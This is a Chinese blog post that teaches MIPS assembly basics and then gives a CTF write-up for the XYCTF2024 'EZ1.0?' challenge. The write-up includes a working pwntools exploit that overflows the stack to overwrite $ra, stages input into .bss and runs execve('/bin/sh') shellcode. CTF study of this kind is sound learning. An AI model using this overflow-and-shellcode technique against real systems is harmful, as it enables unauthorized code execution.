zach0ry的个人博客
生活把我打个半死,我说哈哈,你他妈劲儿还挺大

mips汇编学习

2026年03月30日
0
exercise_pwn

mips基础知识

mars编译器

mips操作总结

寄存器布局

寄存器名 编号 用途 关注点
$zero $0 恒为 0 无法修改,常用于清零操作
$a0 - $a3 $4 - $7 参数传递 函数的前 4 个参数,超过的压栈
$v0 - $v1 $2 - $3 返回值 寻找漏洞后的函数执行结果检查
$t0 - $t9 $8 - $15 临时变量 类似于 eax/ebx,随意使用
$s0 - $s7 $16 - $23 静态变量 函数调用后需恢复(Callee-saved)
$gp $28 全局指针 访问全局数据
$sp $29 栈指针 栈溢出的核心:指向当前栈顶
$fp $30 帧指针 局部变量定位
$ra $31 返回地址 最核心! 相当于 x86 的 EIP 返回值。劫持它就控制了执行流

$t (Temporary, 寄存器 8-15, 24-25): * 临时工。调用别的函数时,这些寄存器的值不保证还能留着。如果你的函数里用了 $t0,紧接着执行了 jal 调用另一个函数,回来后 $t0 的值可能已经被改了。

$s (Saved, 寄存器 16-23): * 正式工。调用别的函数时,这些值必须保持不变。如果一个函数想用 $s0,它必须先把原来的值存到栈里,用完再恢复(即“谁用谁负责还原”)。

延迟槽 (Delay Slot) —— 重点!

这是 MIPS 的特殊之处。当 beqbne 条件成立需要跳转时,紧跟在分支指令后面的那一条指令仍然会被执行,然后才跳转到目标位置。

Pwn 贴士: 在分析漏洞函数时,如果你看到一条 bne 指令,别忘了看它下面那一行做了什么。有时候关键的寄存器赋值就在延迟槽里完成。

R型,I型,J型

根据指令格式的不同,可以分为R型,I型,J型

在 x86 中,指令长度是可变的(1 字节到 15 字节都有)。但在 MIPS 里,为了让 CPU 处理指令像流水线一样快,所有指令必须整整齐齐都是 32 位。

1. R 型指令 (Register, 寄存器型)

用途: 纯粹的寄存器间运算(加减乘除、逻辑运算、移位)。 特点: 所有的操作数都在寄存器里,不涉及内存,也不涉及具体的常数。

  • 结构拆解:
    • op (6位): 操作码。R 型指令的这个字段全为 0
    • rs, rt (各5位): 两个源寄存器(输入的两个数)。
    • rd (5位): 目的寄存器(存结果的地方)。
    • shamt (5位): 移位量(仅用于 sll, srl 等移位指令,平时为 0)。
    • funct (6位): 关键字段。因为 op 字段被占用了,真正的动作(是加法还是减法)由最后这 6 位决定。

image-20260330214319386

  1. I 型指令 (Immediate, 立即数型)

用途: 涉及常数的运算、内存访问(装载/存储)以及条件分支特点: 指令中直接包含了一个 16 位的数值。

  • 结构拆解:
    • op (6位): 操作码。直接决定动作(如 addi 为 8,lw 为 35)。
    • rs (5位): 源寄存器。
    • rt (5位): 目标寄存器(对于 lw)或第二个源寄存器(对于 beq)。
    • immediate (16位): 立即数。存放一个常数、内存偏移量或跳转的相对地址。

image-20260330214259523

  1. J 型指令 (Jump, 跳转型)

用途: 用于大范围的无条件跳转(如函数调用或 goto)。 特点: 结构最简单,为了跳得足够远,它把剩下的 26 位全给了目标地址。

  • 结构拆解:
    • op (6位): 操作码(如 j 为 2,jal 为 3)。
    • address (26位): 跳转的目标地址。

image-20260330214420822

总结

参数寄存器 ($a0 - $a3):函数调用的前 4 个参数放在这里。如果你想调用 system("/bin/sh"),你必须想办法把 "/bin/sh" 的地址塞进 $a0

返回值寄存器 ($v0, $v1):函数执行完的结果放在这。

返回地址寄存器 ($ra)Pwn 的终极目标。函数执行完 jr $ra 跳转回调用者。

在 C 语言中,当 main 函数调用 vuln() 时,汇编层面会执行 jal(Jump and Link)指令:

MIPS Assembler

1
2
3
># main 函数内部
>jal 0x400500 <-- 调用 vuln 函数
># 下一条指令的地址 A (假设是 0x400404)

关键动作: jal 指令在跳转到 0x400500 的瞬间,会自动把“下一条指令的地址 A”存入 $ra 寄存器。这样 vuln 执行完后,才知道该回到哪里继续运行。

栈指针寄存器 ($sp):指向当前栈顶。MIPS 没有 push/pop,全是靠 addi $sp, $sp, -imm 来手动开辟空间。

零寄存器 ($zero):值永远为 0。常用于清零或赋值操作。

demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# ----------------------------------------------------------------
# 程序功能:输入两个整数,输出其中较大的那个
# ----------------------------------------------------------------

.data
prompt: .asciiz "请输入两个整数(空格分隔):"
result_msg: .asciiz "较大的数是:"
newline: .asciiz "\n"

.text
.globl main

main:
# 1. 打印提示字符串 (syscall 4)
li $v0, 4
la $a0, prompt
syscall

# 2. 读取第一个整数 (syscall 5),存入 $s0
li $v0, 5
syscall
move $s0, $v0

# 3. 读取第二个整数 (syscall 5),存入 $s1
li $v0, 5
syscall
move $s1, $v0

# 4. 调用函数 find_max (参数传给 $a0, $a1)
move $a0, $s0
move $a1, $s1
jal find_max # 跳转并链接,返回地址存入 $ra

move $s2, $v0 # 函数结果返回在 $v0,我们把它搬到 $s2

# 5. 打印结果提示
li $v0, 4
la $a0, result_msg
syscall

# 6. 打印最大的数 (刚才存好的 $s2)
li $v0, 1
move $a0, $s2
syscall

# 7. 优雅退出 (syscall 10)
li $v0, 10
syscall

# --- 子函数:find_max ---
# 参数:$a0, $a1
# 返回值:$v0 (较大的数)
find_max:
# 比较 $a0 < $a1
slt $t0, $a0, $a1 # 如果 $a0 < $a1, $t0 = 1
beq $t0, $zero, a0_is_bigger # 如果 $t0 == 0 (即 a0 >= a1),跳转

# 情况1:a1 更大
move $v0, $a1
jr $ra # 返回 main

a0_is_bigger:
# 情况2:a0 更大
move $v0, $a0
jr $ra # 返回 main

image-20260331190441831

如何在find_max:内部调用函数要通过sw把返回地址存在栈上

通过lw取出(相当于在sp+4的位置上临时储存返回地址)

1
2
3
4
5
6
7
8
9
10
11
find_max:
subu $sp, $sp, 8 # 开辟栈空间
sw $ra, 4($sp) # 保存返回地址

jal check_even # 假设这里又调用了一个判断奇偶的子函数

# ... 比较逻辑 ...

lw $ra, 4($sp)
addu $sp, $sp, 8
jr $ra

XYCTF2024_EZ1.0?例题

EZ1.0?

gdb调试流程

启动 QEMU (Server 端)

1
qemu-mipsel-static -g 1234 ./mips

再开一个终端进行gdb调试

1
2
3
4
gdb-multiarch ./mips#启动gdb并连接
set architecture mips#说明是mips架构
set endian little#小端序
target remote :1234#通过网络连接到QEMU开启的1234端口

杀死所有QEMU进程

1
killall -9 qemu-mipsel-static

分析

输入地址是在sp+0x18处

从汇编可以看到返回地址是在sp+0x5c处

所以垃圾字节应该填充0x44个

也可以通过cyclic 0x100去看

或者根据fp的上一个是ret(每道题的情况不一定,根据实际情况分析)

image-20260331220953098

找到偏移之后通过read写shellcode到bss,然后让它跳转过去执行

写shellcode

由于read的参数a1是通过fp去找的,fp是在sp+0x40处,所以用下面来覆盖参数地址和ret的地址

-0x60是由于函数在返回之前把sp又加了我回去,0x40+4是前面b’a’*0x40+p32(bss+0x200-0x60+0x40+4)的偏移

1
payload = b'a'*0x40+p32(bss+0x200-0x60+0x40+4)+p32(read_addr)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(arch='mips', os='linux', log_level='debug')
# r = process(['qemu-mipsel-static', './mips'])
file_path = "./mips"
if 're' in sys.argv:
p = remote("challenge.imxbt.cn",32196)
else:
# 静态链接去掉 -L 也可以,主要是 -g 方便你调试
p = process(["qemu-mipsel-static", "-g", "1234", file_path])
elf = ELF(file_path)

sc = asm('''
li $a2, 0
li $a1, 0
li $t0, 0x68732f2f
sw $t0, -8($sp)
li $t0, 0x6e69622f
sw $t0, -12($sp)
addiu $a0, $sp, -12
li $v0, 4011
syscall
''')

print(len(sc))

read_addr = 0x400860
bss=0x00492790
payload = b'a'*0x40+p32(bss+0x200-0x60+0x40+4)+p32(read_addr)
p.send(payload)

payload = b'a'*0x44+p32(bss+0x200+0x40+4)+asm(shellcraft.sh())
p.send(payload)
p.interactive()

如果喜欢这篇文章,可以给作者评个份哦~

原文声明: "转载本站文章请注明作者和出处Nothinglin ,请勿用于任何商业用途"

公众号:苦逼的学生仔

文章目录:

成就墙:

考研倒计时:

  • days

  • hours

  • minutes

  • seconds

最新留言:

订阅作者: